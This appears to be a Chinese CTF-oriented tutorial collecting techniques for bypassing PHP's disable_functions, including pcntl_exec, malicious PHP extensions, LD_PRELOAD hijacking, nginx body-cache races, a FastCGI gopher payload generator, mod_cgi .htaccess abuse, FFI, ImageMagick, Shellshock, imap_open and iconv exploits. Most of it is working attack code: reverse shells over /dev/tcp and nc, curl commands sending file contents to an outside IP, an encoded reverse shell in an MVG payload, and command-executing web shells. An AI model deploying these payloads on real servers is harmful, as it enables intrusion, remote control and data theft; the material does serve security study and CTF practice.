常规函数函数绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php echo exec ('whoami' );echo shell_exec ('whoami' );system ('whoami' );passthru ("whoami" );$file = popen ("whoami" ,"r" );pclose ($file );$command ="whoami" ; $descriptorspec = array (1 => array ("pipe" , "w" )); $handle = proc_open ($command ,$descriptorspec , $pipes ); while (!feof ($pipes [1 ])) { echo fread ($pipes [1 ], 1024 );}
如果安装了 pcntl 插件,则可以利用pcntl_exec来绕过
1 2 3 4 5 6 <?php pcntl_exec ("/bin/bash" , array ("/tmp/exp.sh" ));?> ls -l /
或者与python结合来反弹shell
1 <?php pcntl_exec ("/usr/bin/python3" ,array ('-c' ,'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("IP",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' ));
使用ext_skel制作恶意php扩展 disable_fuctions禁用的是php的函数,使用php扩展调用c的函数即可绕过
这种利用方式的条件较为苛刻
1:知道扩展目录并且目录可写(覆盖到已经引用的扩展,比如mysqli.so) 2:能够载入php扩展(重启或者使用php命令行执行) 3:能够调用自定义函数
例如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 );$action = $_GET ['a' ];switch ($action ) { case 'phpinfo' : phpinfo (); break ; case 'write' : file_put_contents ($_POST ['file' ],$_POST ['content' ]); break ; case 'run' : shell_exec ("php -r 'ctfshow();'" ); break ; default : highlight_file (__FILE__ ); break ; }
ext_skel是php源码包里自带的一个开发生成工具
首先在PHP源码下的ext目录下执行
php ext_skel.php --ext backdoor --std
运行后会生成一个backdoor目录,然后修改生成的c文件的代码
在头部添加 stdlib.h ,例子中的23行
修改函数名,几处函数名要一致,例如37行和98行的函数名对应,这里用的是ctfshow
在自定义函数中添加system执行命令即可,例如40行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 #ifdef HAVE_CONFIG_H # include "config.h" #endif #include "stdlib.h" #include "php.h" #include "ext/standard/info.h" #include "php_backdoor.h" #ifndef ZEND_PARSE_PARAMETERS_NONE #define ZEND_PARSE_PARAMETERS_NONE() \ ZEND_PARSE_PARAMETERS_START(0, 0) \ ZEND_PARSE_PARAMETERS_END() #endif PHP_FUNCTION(ctfshow) { ZEND_PARSE_PARAMETERS_NONE(); system("curl http://47.99.77.52:6666/?s=`cat /*`" ); } PHP_FUNCTION(backdoor_test2) { char *var = "World" ; size_t var_len = sizeof ("World" ) - 1 ; zend_string *retval; ZEND_PARSE_PARAMETERS_START(0 , 1 ) Z_PARAM_OPTIONAL Z_PARAM_STRING (var, var_len) ZEND_PARSE_PARAMETERS_END () ; retval = strpprintf(0 , "Hello %s" , var); RETURN_STR(retval); } PHP_RINIT_FUNCTION(backdoor) {#if defined(ZTS) && defined(COMPILE_DL_BACKDOOR) ZEND_TSRMLS_CACHE_UPDATE();#endif return SUCCESS; } PHP_MINFO_FUNCTION(backdoor) { php_info_print_table_start(); php_info_print_table_header(2 , "backdoor support" , "enabled" ); php_info_print_table_end(); } ZEND_BEGIN_ARG_INFO(arginfo_backdoor_test1, 0 ) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_backdoor_test2, 0 ) ZEND_ARG_INFO(0 , str) ZEND_END_ARG_INFO()static const zend_function_entry backdoor_functions[] = { PHP_FE(ctfshow, arginfo_backdoor_test1) PHP_FE(backdoor_test2, arginfo_backdoor_test2) PHP_FE_END }; zend_module_entry backdoor_module_entry = { STANDARD_MODULE_HEADER, "backdoor" , backdoor_functions, NULL , NULL , PHP_RINIT(backdoor), NULL , PHP_MINFO(backdoor), PHP_BACKDOOR_VERSION, STANDARD_MODULE_PROPERTIES };#ifdef COMPILE_DL_BACKDOOR # ifdef ZTS ZEND_TSRMLS_CACHE_DEFINE()# endif ZEND_GET_MODULE(backdoor)#endif
然后编译
1 2 3 4 phpize ./configure make make install
就会在modules目录下生成.so文件,然后将生成的恶意文件上传或写入到目标的扩展目录,使用php -r
调用,就能执行自定义的命令了
注意,如果制作so的环境的php版本于靶机的php版本不同,则可能会产生如下错误
1 2 3 4 5 6 7 8 9 10 11 12 Warning: PHP Startup: backdoor: Unable to initialize module Module compiled with module API=20190902 PHP compiled with module API=20180731 These options need to match in Unknown on line 0 Deprecated: Directive 'track_errors' is deprecated in Unknown on line 0 Fatal error: Uncaught Error: Call to undefined function ctfshow() in Command line code:1 Stack trace: thrown in Command line code on line 1
这时候需要修改/usr/include/php/20190902/Zend/zend_modules.h
(具体路径可能不一致)文件中的ZEND_MODULE_API_NO
的值为上面报错中的值20180731
然后编译
1 2 3 4 make clean phpize ./configure make && make install
利用 LD_PRELOAD 环境变量
LD_PRELOAD 是 Linux 系统中的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。
总的来说就是通过LD_PRELOAD指定的动态链接库文件,会在其它文件调用之前先被调用,借此可以达到劫持的效果
需要的条件如下
创建的恶意so文件可以上传到目标主机
能够控制 LD_PRELOAD 环境变量的值,比如 putenv() 函数
需要通过某个可以创建新进程的函数来加载 LD_PRELOAD 中的 .so 文件,比如 mail()、imap_mail()、mb_send_mail() 和 error_log() 函数等
劫持系统函数 在php中启动新进程时会自动调用许多的函数和api等等,其中 getuid 函数来确认进程属主(执行权限)
通过man 2 getuid
查看函数原型
可以发现没有参数并且很常用,符合劫持函数的要求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 GETUID(2) Linux Programmer's Manual GETUID(2) NAME getuid, geteuid - get user identity SYNOPSIS #include <unistd.h> #include <sys/types.h> uid_t getuid(void); uid_t geteuid(void); DESCRIPTION getuid() returns the real user ID of the calling process. geteuid() returns the effective user ID of the calling process. ERRORS These functions are always successful.
劫持getuid
1 2 3 4 5 6 7 8 9 10 11 12 #include <stdlib.h> #include <stdio.h> #include <string.h> void payload () { system("curl http://url:port?s=`cat /*`" ); }int getuid () { if (getenv("LD_PRELOAD" )==NULL ){ return 0 ;} unsetenv("LD_PRELOAD" ); payload(); }
生成动态链接库
gcc -c -fPIC hack.c -o hack && gcc --share hack -o hack.so
将 hack.so 上传并通过环境变量 LD_PRELOAD 指定后,只要新建进程,就会执行我们的恶意代码
php中部分可以新建进程的函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 system shell_exec exec passthru proc_open popen pcntl mail imap_mail mb_send_mail error_log libvirt_connect gnupg_init imagick
还可以通过strace -f php 1.php 2>&1 | grep execve
命令来查看是否创建了新的进程
劫持启动进程 但是某些函数并不会调用getuid或者被禁用,这时候就需要更加通用的方式,不局限于劫持某一函数
在 GCC 中有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #define _GNU_SOURCE #include <stdlib.h> #include <string.h> extern char ** environ; __attribute__ ((__constructor__)) void preload (void ) { int i; for (i = 0 ; environ[i]; ++i) { if (strstr (environ[i], "LD_PRELOAD" )) { environ[i][0 ] = '\0' ; } } system("curl http://url:port?s=`cat /*`" ); }
编译
gcc -c -fPIC hack.c -o hack && gcc --share hack -o hack.so
无上传点时的利用姿势 当没有表面上的上传点时可以考虑利用临时文件
一:php的临时文件
php的临时文件一般在/tmp
目录下,如果可以列目录看到文件名的话可以考虑利用,否则很难爆破文件名
二:nginx的body缓存机制
如果传输的数据大于16k,则nginx会缓存。虽然说nginx会保存文件,但是nginx会在转发给php-fpm后就删除掉了(在php解释执行之前)
这就不能直接利用了,需要用到linux的一个特性:/proc/PID/fd/{1}
去读取(条件是php和nginx的执行用户名是相同的才可以访问)
一个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import reimport socketimport threading ip = 'pwn.challenge.ctf.show' port = 28268 s = socket.socket() s.connect((ip, port)) s.send(f'''GET / HTTP/1.1 Host:127.0.0.1 ''' .encode()) data = s.recv(1024 ).decode() s.close() pid = re.findall('(.*?) www-data' , data)[0 ].strip()print ("pid:" , pid) payload = "curl http://47.99.77.52:8888?a=`cat /f*`;" + '0' * 1024 * 500 length = len (payload)def upload (): while True : s = socket.socket() s.connect((ip, port)) x = f'''POST / HTTP/1.1 Host: 127.0.0.1 Content-Length: {length} Content-Type: application/x-www-form-urlencoded Connection: close {payload} ''' .encode() s.send(x) s.close()def bruter (): while True : for fd in range (3 , 40 ): print ("fd:" , fd) s = socket.socket() s.connect((ip, port)) s.send(f'''GET /?file=/proc/{pid} /fd/{fd} HTTP/1.1 Host: 127.0.0.1 Connection: close ''' .encode()) print (s.recv(2048 ).decode()) s.close()for i in range (30 ): t = threading.Thread(target=upload) t.start()for j in range (30 ): a = threading.Thread(target=bruter) a.start()
三:nginx的body缓存机制+恶意so文件
与二类似,只不过将命令换成了so文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import reimport socketimport threading ip = 'pwn.challenge.ctf.show' port = 28128 s = socket.socket() s.connect((ip, port)) s.send(f'''GET / HTTP/1.1 Host:127.0.0.1 ''' .encode()) data = s.recv(1024 ).decode() s.close() pid = re.findall('(.*?) www-data' , data)[0 ].strip()print ("pid:" , pid) length = str (len (open ('hack.so' , 'rb' ).read() + b'\n' * 1024 * 200 )).encode()def upload (): while True : s = socket.socket() s.connect((ip, port)) x = b'''POST / HTTP/1.1 Host: 127.0.0.1 Content-Length: ''' + length + b''' Content-Type: application/x-www-form-urlencoded Connection: close ''' + open ('hack.so' , 'rb' ).read() + b'\n' * 1024 * 200 + b''' ''' s.send(x) s.close()def bruter (): while True : for fd in range (3 , 40 ): print ("fd:" , fd) s = socket.socket() s.connect((ip, port)) s.send(f'''GET /?env=LD_PRELOAD=/proc/{pid} /fd/{fd} HTTP/1.1 Host: 127.0.0.1 Connection: close ''' .encode()) print (s.recv(2048 ).decode()) s.close()for i in range (30 ): t = threading.Thread(target=upload) t.start()for j in range (30 ): a = threading.Thread(target=bruter) a.start()
加载so绕过disable_functions 原理与 LD_PRELOAD 绕过的方式差不多,一个是通过 putenv 设置,另一个则是通过上传一个恶意so文件,然后通过 PHP_VALUE 给 php.ini 添加一个 extender 扩展来绕过
制作恶意so文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #define _GNU_SOURCE #include <stdlib.h> #include <string.h> extern char ** environ; __attribute__ ((__constructor__)) void preload (void ) { int i; for (i = 0 ; environ[i]; ++i) { if (strstr (environ[i], "LD_PRELOAD" )) { environ[i][0 ] = '\0' ; } } system("bash -c 'exec bash -i &>/dev/tcp/IP/PORT <&1'" ); }
编译
gcc -c -fPIC hack.c -o hack && gcc --share hack -o hack.so
以下是修改过的 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75 ,可以生成payload,注意修改 PHP_VALUE 的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 import socketimport randomimport argparseimport sysfrom io import BytesIOfrom urllib.parse import quote PY2 = True if sys.version_info.major == 2 else False def bchr (i ): if PY2: return force_bytes(chr (i)) else : return bytes ([i])def bord (c ): if isinstance (c, int ): return c else : return ord (c)def force_bytes (s ): if isinstance (s, bytes ): return s else : return s.encode('utf-8' , 'strict' )def force_text (s ): if issubclass (type (s), str ): return s if isinstance (s, bytes ): s = str (s, 'utf-8' , 'strict' ) else : s = str (s) return sclass FastCGIClient : """A Fast-CGI Client for Python""" __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__ (self, host, port, timeout, keepalive ): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else : self.keepalive = 0 self.sock = None self.requests = dict () def __connect (self ): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) return True def __encodeFastCGIRecord (self, fcgi_type, content, requestid ): length = len (content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8 ) & 0xFF ) \ + bchr(requestid & 0xFF ) \ + bchr((length >> 8 ) & 0xFF ) \ + bchr(length & 0xFF ) \ + bchr(0 ) \ + bchr(0 ) \ + content return buf def __encodeNameValueParams (self, name, value ): nLen = len (name) vLen = len (value) record = b'' if nLen < 128 : record += bchr(nLen) else : record += bchr((nLen >> 24 ) | 0x80 ) \ + bchr((nLen >> 16 ) & 0xFF ) \ + bchr((nLen >> 8 ) & 0xFF ) \ + bchr(nLen & 0xFF ) if vLen < 128 : record += bchr(vLen) else : record += bchr((vLen >> 24 ) | 0x80 ) \ + bchr((vLen >> 16 ) & 0xFF ) \ + bchr((vLen >> 8 ) & 0xFF ) \ + bchr(vLen & 0xFF ) return record + name + value def __decodeFastCGIHeader (self, stream ): header = dict () header['version' ] = bord(stream[0 ]) header['type' ] = bord(stream[1 ]) header['requestId' ] = (bord(stream[2 ]) << 8 ) + bord(stream[3 ]) header['contentLength' ] = (bord(stream[4 ]) << 8 ) + bord(stream[5 ]) header['paddingLength' ] = bord(stream[6 ]) header['reserved' ] = bord(stream[7 ]) return header def __decodeFastCGIRecord (self, buffer ): header = buffer.read(int (self.__FCGI_HEADER_SIZE)) if not header: return False else : record = self.__decodeFastCGIHeader(header) record['content' ] = b'' if 'contentLength' in record.keys(): contentLength = int (record['contentLength' ]) record['content' ] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int (record['paddingLength' ])) return record def request (self, nameValuePairs={}, post='' ): if not self.__connect(): print ('connect failure! please check your fasctcgi-server !!' ) return requestId = random.randint(1 , (1 << 16 ) - 1 ) self.requests[requestId] = dict () request = b"" beginFCGIRecordContent = bchr(0 ) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0 ) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'' , requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'' , requestId) return request def __waitForResponse (self, requestId ): data = b'' while True : buf = self.sock.recv(512 ) if not len (buf): break data += buf data = BytesIO(data) while True : response = self.__decodeFastCGIRecord(data) if not response: break if response['type' ] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state' ] = FastCGIClient.FCGI_STATE_ERROR if requestId == int (response['requestId' ]): self.requests[requestId]['response' ] += response['content' ] if response['type' ] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response' ] def __repr__ (self ): return "fastcgi connect host:{} port:{}" .format (self.host, self.port)if __name__ == '__main__' : parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.' ) parser.add_argument('host' , help ='Target host, such as 127.0.0.1' ) parser.add_argument('file' , help ='A php file absolute path, such as /usr/local/lib/php/System.php' ) parser.add_argument('-c' , '--code' , help ='What php code your want to execute' , default='<?php phpinfo(); exit; ?>' ) parser.add_argument('-p' , '--port' , help ='FastCGI port' , default=9000 , type =int ) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3 , 0 ) params = dict () documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE' : 'FastCGI/1.0' , 'REQUEST_METHOD' : 'POST' , 'SCRIPT_FILENAME' : documentRoot + uri.lstrip('/' ), 'SCRIPT_NAME' : uri, 'QUERY_STRING' : '' , 'REQUEST_URI' : uri, 'DOCUMENT_ROOT' : documentRoot, 'SERVER_SOFTWARE' : 'php/fcgiclient' , 'REMOTE_ADDR' : '127.0.0.1' , 'REMOTE_PORT' : '9985' , 'SERVER_ADDR' : '127.0.0.1' , 'SERVER_PORT' : '80' , 'SERVER_NAME' : "localhost" , 'SERVER_PROTOCOL' : 'HTTP/1.1' , 'CONTENT_TYPE' : 'application/text' , 'CONTENT_LENGTH' : "%d" % len (content), 'PHP_VALUE' : 'unserialize_callback_func = system\nextension_dir = /tmp\nextension = hack.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ' , 'PHP_ADMIN_VALUE' : 'allow_url_include = On' } request_ssrf = quote(client.request(params, content)) print ("gopher://127.0.0.1:" + str (args.port) + "/_" + request_ssrf)
用法和原来一样
python fpm.py 127.0.0.1 -p 9001 /var/www/html/add_api.php -c "<?php phpinfo(); ?>"
Apache_mod_cgi 利用条件
Linux 操作系统
Apache + PHP (apache 使用 apache_mod_php)
Apache 开启了 cgi, rewrite
httpd.conf 中给了Web目录 AllowOverride 权限(允许.htaccess文件)
当前目录可写
原理
Apache 在配置开启 CGI 后可以用 ScriptAlias 指令指定一个目录,指定的目录下面便可以存放可执行的 CGI 程序。若是想临时允许一个目录可以执行 CGI 程序并且使得服务器将自定义的后缀解析为 CGI 程序执行,则可以在目的目录下使用 htaccess 文件进行配置,如下:
1 2 Options +ExecCGIAddHandler cgi-script .xxx
这样便会将当前目录下的所有的 .xxx 文件当做 CGI 程序执行了。由于 CGI 程序可以执行命令,那我们可以利用 CGI 来执行系统命令绕过 disable_functions
利用
1:在web目录新建一个 .htaccess 文件
1 2 Options +ExecCGIAddHandler cgi-script .xxx
2:然后新建一个后缀为 .xxx 的文件,内容是要执行的命令,然后赋予777权限
注意:linux中cgi比较严格,如果上传后发现状态码500,无法解析文件。可能是因为本地编辑器编写上传时编码不一致导致无法解析
1 2 #!/bin/sh echo &&cd "/var/www/html" ;ls -al
3:最后网页访问即可
如果命令执行失败,页面也会报 500 错误(因为访问的是 CGI)
综合利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $cmd = "nc -c '/bin/bash' 172.16.15.1 4444" ; $shellfile = "#!/bin/bash\n" ; $shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n" ; $shellfile .= "$cmd " ; function checkEnabled ($text , $condition , $yes , $no ) //this surely can be shorter { echo "$text : " . ($condition ? $yes : $no ) . "<br>\n" ; }if (!isset ($_GET ['checked' ])) { @file_put_contents ('.htaccess' , "\nSetEnv HTACCESS on" , FILE_APPEND); header ('Location: ' . $_SERVER ['PHP_SELF' ] . '?checked=true' ); } else { $modcgi = in_array ('mod_cgi' , apache_get_modules ()); $writable = is_writable ('.' ); $htaccess = !empty ($_SERVER ['HTACCESS' ]); checkEnabled ("Mod-Cgi enabled" , $modcgi , "Yes" , "No" ); checkEnabled ("Is writable" , $writable , "Yes" , "No" ); checkEnabled ("htaccess working" , $htaccess , "Yes" , "No" ); if (!($modcgi && $writable && $htaccess )) { echo "Error. All of the above must be true for the script to work!" ; } else { checkEnabled ("Backing up .htaccess" , copy (".htaccess" , ".htaccess.bak" ), "Suceeded! Saved in .htaccess.bak" , "Failed!" ); checkEnabled ("Write .htaccess file" , file_put_contents ('.htaccess' , "Options +ExecCGI\nAddHandler cgi-script .dizzle" ), "Succeeded!" , "Failed!" ); checkEnabled ("Write shell file" , file_put_contents ('shell.dizzle' , $shellfile ), "Succeeded!" , "Failed!" ); checkEnabled ("Chmod 777" , chmod ("shell.dizzle" , 0777 ), "Succeeded!" , "Failed!" ); echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>" ; } }?>
php74_FFI 利用条件
Linux 操作系统
PHP >= 7.4
开启了 FFI 扩展且 ffi.enable=true
原理
FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。简单地说,就是一项让你在PHP里能够调用C代码的技术
通过c语言的system去执行命令,绕过php的disable_functions
利用
C库的system函数执行是没有回显的,所以需要将执行结果写入到tmp等有权限的目录中
1 2 3 4 5 6 7 <?php $cmd =$_GET ['cmd' ];$ffi = FFI::cdef ("int system(const char *command);" );$ffi ->system ("$cmd > /tmp/SD" );echo file_get_contents ("/tmp/SD" ); @unlink ("/tmp/SD" );?>
或者调用popen和fgetc
1 2 3 4 5 6 7 <?php $cmd =$_GET ['cmd' ];$ffi = FFI::cdef ("void *popen(char*,char*);void pclose(void*);int fgetc(void*);" ,"libc.so.6" );$o = $ffi ->popen ("$cmd " ,"r" );$d = "" ;while (($c = $ffi ->fgetc ($o )) != -1 ){$d .= str_pad (strval (dechex ($c )),2 ,"0" ,0 );}$ffi ->pclose ($o );echo hex2bin ($d );
又或者调用PHP源码中的函数
1 2 3 4 <?php $cmd =$_GET ['cmd' ];$ffi = FFI::cdef ("int php_exec(int type, char *cmd);" );$ffi ->php_exec (3 ,"$cmd " );
ImageMagick(CVE-2016–3714) 利用条件
漏洞影响ImageMagick 6.9.3-9以前的所有版本
安装了 php-imagick 拓展并在 php.ini 中启用
编写 php 通过 new Imagick 对象的方式来处理图片等格式文件
PHP >= 5.4
原理
https://imagetragick.com/ https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html
简单来说就是ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的
同时它内部定义了很多占位符,而在其中command的位置,%i和%l等占位符被拼接在命令行中。这个漏洞也因此而来,被拼接完毕的命令行传入了系统的system函数,而我们只需使用反引号(`)或闭合双引号,来执行任意命令
利用
反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php echo "Disable Functions: " . ini_get ('disable_functions' ) . "\n" ;function AAAA ( ) {$exploit = <<<EOF push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ3Ljk5Ljc3LjUyLzg4ODggMD4mMQ== | base64 -d | bash`"||id " )' pop graphic-context EOF ;file_put_contents ("KKKK.mvg" , $exploit );$thumb = new Imagick ();$thumb ->readImage ('KKKK.mvg' );$thumb ->writeImage ('KKKK.png' );$thumb ->clear ();$thumb ->destroy ();unlink ("KKKK.mvg" );unlink ("KKKK.png" ); }AAAA ();?>
执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php echo "Disable functions: " . ini_get ("disable_functions" ) . "\n" ;$command = isset ($_GET ['cmd' ]) ? $_GET ['cmd' ] : 'id' ;echo "Run command: $command \n====================\n" ;$data_file = tempnam ('/tmp' , 'img' );$imagick_file = tempnam ('/tmp' , 'img' );$exploit = <<<EOF push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/image.jpg"|$command >$data_file ")' pop graphic-context EOF ;file_put_contents ("$imagick_file " , $exploit );$thumb = new Imagick ();$thumb ->readImage ("$imagick_file " );$thumb ->writeImage (tempnam ('/tmp' , 'img' ));$thumb ->clear ();$thumb ->destroy ();echo file_get_contents ($data_file );?>
Bash Shellshock(CVE-2014-6271) 利用条件
目标环境存在Bash破壳(CVE-2014-6271)漏洞
putenv()、mail() 或 error_log() 函数可用
利用
需要利用 PHP 中可以调用 popen 或其他能够派生 bash 子进程的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php function runcmd ($c ) { $d = dirname ($_SERVER ["SCRIPT_FILENAME" ]); if (substr ($d , 0 , 1 ) == "/" && function_exists ('putenv' ) && (function_exists ('error_log' ) || function_exists ('mail' ))){ if (strstr (readlink ("/bin/sh" ), "bash" )!=FALSE ){ $tmp =tempnam (sys_get_temp_dir (), 'as' ); putenv ("PHP_LOL=() { x; }; $c >$tmp 2>&1" ); if (function_exists ('error_log' )) { error_log ("a" , 1 ); }else { mail ("a@127.0.0.1" , "" , "" , "-bv" ); } }else { print ("Not vuln (not bash)\n" ); } $output = @file_get_contents ($tmp ); @unlink ($tmp ); if ($output !="" ){ print ($output ); }else { print ("No output, or not vuln." ); } }else { print ("不满足使用条件" ); } }runcmd ($_REQUEST ["cmd" ]); ?>
imap_open()绕过 (CVE-2018-19518) 利用条件
原理
php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)
ssh命令中可以通过设置-oProxyCommand=
来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。 即使是ssh连接失败了,但是命令还是能执行。
利用
1 2 3 4 5 <?php $payload = "/bin/bash -i >& /dev/tcp/47.99.77.52/8888 0>&1" ;$base64 = base64_encode ($payload );$server = "any -oProxyCommand=echo\t{$base64} |base64\t-d|bash" ; @imap_open ("{" .$server ."}:143/imap}INBOX" ,"" ,"" ) or die ("\n\nError: " .imap_last_error ());;
Windows组件COM绕过 利用条件
com.allow_dcom = true
extension=php_com_dotnet.dll
php>5.4
目标服务器为Windows系统
利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $wsh = isset ($_GET ['wsh' ]) ? $_GET ['wsh' ] : 'wscript' ;if ($wsh == 'wscript' ) { $command = $_GET ['cmd' ]; $wshit = new COM ('WScript.shell' ) or die ("Create Wscript.Shell Failed!" ); $exec = $wshit ->exec ("cmd /c" .$command ); $stdout = $exec ->StdOut (); $stroutput = $stdout ->ReadAll (); echo $stroutput ; }elseif ($wsh == 'application' ) { $command = $_GET ['cmd' ]; $wshit = new COM ("Shell.Application" ) or die ("Shell.Application Failed!" ); $exec = $wshit ->ShellExecute ("cmd" ,"/c " .$command ); }else { echo (0 ); }?>
iconv 利用条件
Linux 操作系统
putenv
iconv
存在可写的目录, 需要上传 .so 文件
原理
php在执行iconv函数时,实际上是调用glibc中的iconv相关函数,其中一个很重要的函数叫做iconv_open()
php的iconv函数的第一个参数是字符集的名字,这个参数也会传递到glibc的iconv_open函数的参数中
iconv_open函数的执行过程: 1:iconv_open函数首先会找到系统提供的gconv-modules文件,查看各个字符集的.so文件所在位置 2:然后再根据gconv-modules文件的指示去链接参数对应的.so文件 3:之后会调用.so文件中的gconv()与gonv_init()函数
使用的时候在编码转换时指定设置好的xxx编码,就会去调用指定的so文件了
利用
gconv-modules
1 2 module PAYLOAD// INTERNAL ../../ ../../ ../../ ../../ tmp/payload 2 module INTERNAL PAYLOAD// ../../ ../../ ../../ ../../ tmp/payload 2
payload.c
gcc payload.c -o payload.so -shared -fPIC
1 2 3 4 5 6 7 8 9 10 #include <stdio.h> #include <stdlib.h> void gconv () {}void gconv_init () { puts ("pwned" ); system("ls / > /tmp/1.txt" ); exit (0 ); }
1.php
1 2 3 4 5 6 7 <?php putenv ("GCONV_PATH=/tmp/" ); iconv ("payload" , "UTF-8" , "whatever" ); ?>
